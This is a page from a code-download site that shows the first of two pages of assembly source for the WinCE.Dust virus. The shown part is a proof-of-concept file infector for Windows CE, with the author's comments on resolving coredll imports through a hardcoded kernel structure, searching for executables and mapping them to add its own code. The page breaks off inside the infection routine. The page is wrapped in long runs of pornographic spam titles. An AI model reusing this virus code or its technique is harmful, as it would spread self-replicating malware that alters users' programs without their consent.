亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? wince.dust.telvir.txt

?? WinCE.Dust手機病毒源代碼
?? TXT
?? 第 1 頁 / 共 2 頁
字號:
** virus_source **
CODE32
EXPORT  WinMainCRTStartup
AREA .text, CODE, ARM
virus_start
; r11 - base pointer
virus_code_start   PROC
stmdb   sp!, {r0 - r12, lr, pc}
mov    r11, sp
sub    sp, sp, #56     ; make space on the stack
; our stack space gets filled the following way
;    #-56 - udiv
;    #-52 - malloc
;    #-48 - free
; [r11, #-44] - CreateFileForMappingW
;    #-40 - CloseHandle
;    #-36 - CreateFileMappingW
;    #-32 - MapViewOfFile
;    #-28 - UnmapViewOfFile
;    #-24 - FindFirstFileW
;    #-20 - FindNextFileW
;    #-16 - FindClose
;    #-12 - MessageBoxW
;    #- 8 - filehandle
;    #- 4 - mapping handle
bl    get_export_section
; we'll import via ordinals, not function names, because it's
; safe - even linker does that
adr   r2, import_ordinals
mov   r3, sp
bl    lookup_imports
;
bl    ask_user
beq    jmp_to_host     ; are we allowed to spread?
;
mov    r0, #0x23, 28
mov    lr, pc
ldr    pc, [r11, #-52]   ; allocate WFD
mov    r4, r0
cmp    r0, #0
beq    jmp_to_host
; in the following code I use functions FindFirstFile/FindNextFile
; for finding *.exe files in the current directory. But in this
; case I made a big mistake. I didn't realize that WinCE is not
; aware of the current directory and thus we need to use absolute
; pathnames. That's why this code won't find files in the current
; directory, but rather always in root directory. I found this out when I
; was performing final tests, but because the aim was to create a
; proof-of-concept code and because the infection itself was already
; limited by the user's permission, I decided not to correct this
; bug
adr    r0, mask
mov    r1, r4
mov    lr, pc
ldr    pc, [r11, #-24]   ; find first file
cmn    r0, #1
beq    free_wfd
mov    r5, r0
find_files_iterate
ldr    r0, [r4, #28]     ; filesize high
ldr    r1, [r4, #32]     ; filesize low
cmp    r0, #0         ; file too big?
bne    find_next_file
cmp    r1, #0x1000      ; file smaller than 4096 bytes?
addgt   r0, r4, #40      ; gimme file name
blgt   infect_file
find_next_file
mov    r0, r5
mov    r1, r4
mov    lr, pc
ldr    pc, [r11, #-20]    ; find next file
cmp    r0, #0         ; is there any left?
bne    find_files_iterate
mov    r0, r5
mov    lr, pc
ldr    pc, [r11, #-16]
free_wfd
mov    r0, r4
mov    lr, pc
ldr    pc, [r11, #-48]    ; free WFD
;
jmp_to_host
adr    r0, host_ep
ldr    r1, [r0]        ; get host_entry
ldr    r2, [r11, #56]     ; get pc
add    r1, r1, r2       ; add displacement
str    r1, [r11, #56]     ; store it back
mov    sp, r11
ldmia   sp!, {r0 - r12, lr, pc}
ENDP
; we're looking for *.exe files
mask   DCB    "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0
; host entry point displacement
; in first generation let compiler count it
host_ep
DCD    host_entry - virus_code_start - 8
; WinCE is a UNICODE-only platform and thus we'll use the W ending
; for api names (there are no ANSI versions of these)
import_ordinals
DCW    2008       ; udiv
DCW    1041       ; malloc
DCW    1018       ; free
DCW    1167       ; CreateFileForMappingW
DCW    553        ; CloseHandle
DCW    548        ; CreateFileMappingW
DCW    549        ; MapViewOfFile
DCW    550        ; UnmapViewOfFile
DCW    167        ; FindFirstFileW
DCW    181        ; FindNextFile
DCW    180        ; FindClose
DCW    858        ; MessageBoxW
DCD    0x0
; basic wide string compare
wstrcmp   PROC
wstrcmp_iterate
ldrh    r2, [r0], #2
ldrh    r3, [r1], #2
cmp    r2, #0
cmpeq   r3, #0
moveq   pc, lr
cmp    r2, r3
beq    wstrcmp_iterate
mov    pc, lr
ENDP
; on theWin32 platform, almost all important functions were located in the
; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair
; was). The first infectors had a hardcoded imagebase of this dll and
; later they imported needed functions by hand from it. This
; turned out to be incompatible because different Windows versions might
; have different imagebases for kernel32. That's why more or less
; sophisticated methods were found that allowed coding in a
; compatible way. One of these methods is scanning memory for known values
; located in PE file header ("MZ") if the address inside the module is
; given. Because the function inside kernel32 calls the EntryPoint of
; every Win32 process, we've got this address. Then comparing the word
; on and aligned address (and decrementing it) against known values is
; enough to locate the imagebase. If this routine is even covered
; with SEH (Structured Exception Handling) everything is safe.
; I wanted to use this method on WinCE too, but I hit the wall.
; Probably to save memory space, there are no headers
; before the first section of the loaded module. There is thus no
; "MZ" value and scanning cannot be used even we have the address
; inside coredll.dll (lr registr on our entrypoint). Moreover, we
; cannot use SEH either, because SEH handlers get installed with
; the help of a special directory (the exception directory) in the PE file and
; some data before the function starts - this information would have
; to be added while infecting the victim (the exception directory
; would have to be altered) which is of course not impossible -- just
; a little bit impractical to implement in our basic virus.
; That's why I was forced to use a different approach. I looked
; through the Windows CE 3.0 source code (shared source,
; downloadable from Microsoft) and tried to find out how the loader
; performs its task. The Loader needs the pointer to the module's export
; section and its imagebase to be able to import from it. The result was a
; KDataStruct at a hardcoded address accessible from user mode (why Microsoft
; chose to open this loophole, I don't know)
; and mainly it's item aInfo[KINX_MODULES] which is a pointer to a
; list of Module structures. There we can find all needed values
; (name of the module, imagebase and export section RVA). In the
; code that follows I go through this one-way list and look for
; structure describing the coredll.dll module. From this structure I
; get the imagebase and export section RVA (Relative Virtual Address).
; what sounds relatively easy was in the end more work than I
; expected. The problem was to get the offsets in the Module
; structure. The source code and corresponding headers I had were for
; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003),
; where the structure is different. I worked it out using the following
; sequence:
; I was able to get the imagebase offset using the trial-and-error
; method - I used the debugger and tried values inside the
; structure that looked like valid pointers. If there was something
; interesting, I did some memory sniffing to realize where I was.
; The export section pointer was more difficult. There is no real
; pointer, just the RVA instead. Adding the imagebase to RVA gives us the
; pointer. That's why I found coredll.dll in memory - namely the
; list of function names in export section that the library exports.
; This list is just a series of ASCIIZ names (you can see this list
; when opening the dll in your favourite hex editor). At the
; beginning of this list there must be a dll name (in this case
; coredll.dll) to which a RVA in the export section header
; points. Substracting the imagebase from the address where the dll
; name starts gave me an RVA of the dll name. I did a simple byte
; search for the byte sequence that together made this RVA value. This
; showed me where the (Export Directory Table).Name Rva is.
; Because this is a known offset within a known structure (which is
; in the beginning of export section), I was able to get
; the export section pointer this way. I again substracted the imagebase to
; get the export section RVA. I looked up this value in the coredll's
; Module structure, which finally gave me the export section RVA
; offset.
; this works on Pocket PC 2003; it works on
; my wince 4.20.0 (build 13252).
; On different versions the structure offsets might be different :-/
; output:
;  r0 - coredll base addr
;  r1 - export section addr
get_export_section   PROC
stmdb   sp!, {r4 - r9, lr}
ldr    r4, =0xffffc800   ; KDataStruct
ldr    r5, =0x324     ; aInfo[KINX_MODULES]
add    r5, r4, r5
ldr    r5, [r5]
; r5 now points to first module
mov    r6, r5
mov    r7, #0
iterate
ldr    r0, [r6, #8]     ; get dll name
adr    r1, coredll
bl    wstrcmp        ; compare with coredll.dll
ldreq   r7, [r6, #0x7c]    ; get dll base
ldreq   r8, [r6, #0x8c]    ; get export section rva
add    r9, r7, r8
beq    got_coredllbase    ; is it what we're looking for?
ldr    r6, [r6, #4]
cmp    r6, #0
cmpne   r6, r5
bne    iterate        ; nope, go on
got_coredllbase
mov    r0, r7
add    r1, r8, r7      ; yep, we've got imagebase
; and export section pointer
ldmia   sp!, {r4 - r9, pc}
ENDP
coredll   DCB    "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0
DCB    ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0
; r0 - coredll base addr
; r1 - export section addr
; r2 - import ordinals array
; r3 - where to store function adrs
lookup_imports   PROC
stmdb   sp!, {r4 - r6, lr}
ldr    r4, [r1, #0x10]    ; gimme ordinal base
ldr    r5, [r1, #0x1c]    ; gimme Export Address Table
add    r5, r5, r0
lookup_imports_iterate
ldrh   r6, [r2], #2     ; gimme ordinal
cmp    r6, #0        ; last value?
subne   r6, r6, r4      ; substract ordinal base
ldrne   r6, [r5, r6, LSL #2] ; gimme export RVA
addne   r6, r6, r0      ; add imagebase
strne   r6, [r3], #4     ; store function address
bne    lookup_imports_iterate
ldmia    sp!, {r4 - r6, pc}
ENDP
; r0 - filename
; r1 - filesize
infect_file   PROC
stmdb   sp!, {r0, r1, r4, r5, lr}
mov    r4, r1
mov    r8, r0
bl    open_file       ; first open the file for mapping
cmn    r0, #1
beq    infect_file_end
str    r0, [r11, #-8]    ; store the handle
mov    r0, r4        ; now create the mapping with
; maximum size == filesize
bl    create_mapping
cmp    r0, #0
beq    infect_file_end_close_file
str    r0, [r11, #-4]    ; store the handle
mov    r0, r4
bl    map_file       ; map the whole file
cmp    r0, #0
beq    infect_file_end_close_mapping
mov    r5, r0
bl    check_header     ; is it file that we can infect?
bne    infect_file_end_unmap_view
ldr    r0, [r2, #0x4c]    ; check the reserved field in
; optional header against
ldr    r1, =0x72617461    ; rata
cmp    r0, r1        ; already infected?
beq    infect_file_end_unmap_view
ldr    r1, [r2, #0x3c]    ; gimme filealignment
adr    r0, virus_start
adr    r2, virus_end     ; compute virus size
sub    r0, r2, r0

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
97久久超碰国产精品| 欧美性做爰猛烈叫床潮| 一区二区三区四区高清精品免费观看 | 日韩欧美成人激情| 成人18视频日本| 美腿丝袜亚洲综合| 国产精品午夜在线观看| 91麻豆精品国产91久久久| 国产91精品一区二区麻豆亚洲| 天天综合色天天综合| 18成人在线观看| 精品国产乱码久久久久久久| 色8久久人人97超碰香蕉987| 国产乱人伦精品一区二区在线观看 | 国产精品一线二线三线精华| 亚洲va韩国va欧美va精品| 中文字幕在线观看不卡| 欧美第一区第二区| 在线免费观看一区| 成人美女视频在线看| 久久er99热精品一区二区| 亚洲国产毛片aaaaa无费看 | 久久免费看少妇高潮| 欧美日韩激情在线| 91捆绑美女网站| 粉嫩av一区二区三区粉嫩| 激情综合一区二区三区| 天堂精品中文字幕在线| 一区二区三区高清| 久久久精品蜜桃| 精品少妇一区二区三区日产乱码 | 国产麻豆视频精品| 日本欧美大码aⅴ在线播放| 亚洲免费观看在线视频| 国产精品久久综合| 2020国产精品自拍| 欧美大胆一级视频| 欧美一区二区在线免费观看| 欧美军同video69gay| 欧美日韩一区二区欧美激情| 在线观看日韩毛片| 欧美亚日韩国产aⅴ精品中极品| 91一区二区三区在线播放| 成人精品免费网站| av午夜一区麻豆| 99久久精品免费看国产| 在线视频综合导航| 欧美亚洲国产怡红院影院| 91国偷自产一区二区开放时间 | 欧美色中文字幕| 欧美亚洲高清一区二区三区不卡| 一本一道综合狠狠老| 一本大道综合伊人精品热热 | 午夜精品久久久久久久久久| 亚洲一区成人在线| 婷婷成人激情在线网| 丝袜国产日韩另类美女| 日本欧美一区二区三区| 毛片av中文字幕一区二区| 国产一区二区毛片| 粉嫩高潮美女一区二区三区 | 久久精品国产99久久6| 免费高清视频精品| 激情文学综合丁香| 国产91在线观看丝袜| av电影在线观看完整版一区二区| 91一区在线观看| 欧美日韩在线播放一区| 欧美一区二区人人喊爽| 国产亚洲欧美一级| 亚洲乱码国产乱码精品精小说 | 精品美女被调教视频大全网站| 久久嫩草精品久久久精品一| 国产精品福利在线播放| 亚洲成av人片在线| 国产一区二区在线看| 色综合久久中文字幕综合网| 91麻豆精品国产91久久久 | 成人福利在线看| 欧日韩精品视频| 欧美v亚洲v综合ⅴ国产v| 亚洲国产精品高清| 亚洲国产精品嫩草影院| 国产成人自拍高清视频在线免费播放| 91亚洲国产成人精品一区二区三 | 日韩一级在线观看| 中文字幕在线视频一区| 五月天视频一区| 国产精品一区二区无线| 91久久免费观看| 久久这里只有精品视频网| 精品一区二区三区久久| www.亚洲激情.com| 日韩一二三四区| 亚洲男人电影天堂| 黑人巨大精品欧美一区| 日本高清不卡在线观看| 久久久精品人体av艺术| 日日夜夜一区二区| 99久久精品国产导航| 日韩丝袜美女视频| 亚洲一区二区三区四区五区黄 | 成人va在线观看| 91麻豆精品国产自产在线观看一区 | 91成人看片片| 国产午夜一区二区三区| 天天免费综合色| 91免费版在线看| 久久精品一区蜜桃臀影院| 午夜欧美2019年伦理| 99re亚洲国产精品| 久久精品亚洲麻豆av一区二区| 亚洲国产综合视频在线观看| 成人精品一区二区三区中文字幕| 精品国产凹凸成av人网站| 午夜精品一区二区三区电影天堂| 99r国产精品| 欧美激情中文不卡| 国产一区二区三区四| 日韩久久精品一区| 日韩成人一区二区| 欧美日韩综合在线| 一区二区三区高清在线| 91免费版在线看| 亚洲图片你懂的| 99久久精品国产精品久久| 国产欧美综合在线观看第十页| 蜜乳av一区二区| 日韩亚洲欧美中文三级| 午夜电影网亚洲视频| 欧美亚日韩国产aⅴ精品中极品| 亚洲欧美视频在线观看视频| 91亚洲精品久久久蜜桃网站| 国产精品丝袜在线| 99久久国产综合精品女不卡| 国产日本欧美一区二区| 成人激情av网| 国产精品高潮呻吟| 色偷偷久久人人79超碰人人澡| 亚洲图片你懂的| 色屁屁一区二区| 国内精品写真在线观看 | 1024成人网| 99这里都是精品| 亚洲色图视频网| 色哟哟国产精品免费观看| 一区二区三区影院| 欧美男女性生活在线直播观看| 首页综合国产亚洲丝袜| 91精品综合久久久久久| 久久精品国产色蜜蜜麻豆| 2023国产精华国产精品| 丁香亚洲综合激情啪啪综合| 中文字幕欧美日韩一区| 91天堂素人约啪| 亚洲国产日韩一级| 日韩精品一区二区三区中文精品| 久久国产麻豆精品| 欧美激情资源网| 在线免费视频一区二区| 日韩国产在线一| 亚洲精品在线三区| 91网站在线观看视频| 香蕉久久一区二区不卡无毒影院 | 欧美日韩亚洲综合一区二区三区| 日韩中文字幕麻豆| 久久免费的精品国产v∧| fc2成人免费人成在线观看播放| 亚洲免费在线视频| 91精品国产综合久久久久久久久久 | 午夜精品视频在线观看| 日韩三级av在线播放| 国产99久久久精品| 亚洲永久精品国产| 精品免费国产一区二区三区四区| 不卡欧美aaaaa| 视频在线在亚洲| 国产日韩欧美综合在线| 91黄色免费看| 国产一区二区三区av电影| 中文字幕在线不卡| 久久久亚洲国产美女国产盗摄| 日韩美女主播在线视频一区二区三区| 成人自拍视频在线| 亚洲第一av色| 亚洲国产高清在线观看视频| 91看片淫黄大片一级在线观看| 日韩va欧美va亚洲va久久| 亚洲bdsm女犯bdsm网站| 国产欧美日韩精品a在线观看| 欧美在线免费视屏| 国产精品18久久久久久久久久久久 | 欧美一区二区三区免费在线看| 国产成人免费在线视频| 亚洲一二三级电影| 国产精品色哟哟网站| 欧美videofree性高清杂交| 色先锋久久av资源部| 国产成人免费网站| 美国毛片一区二区|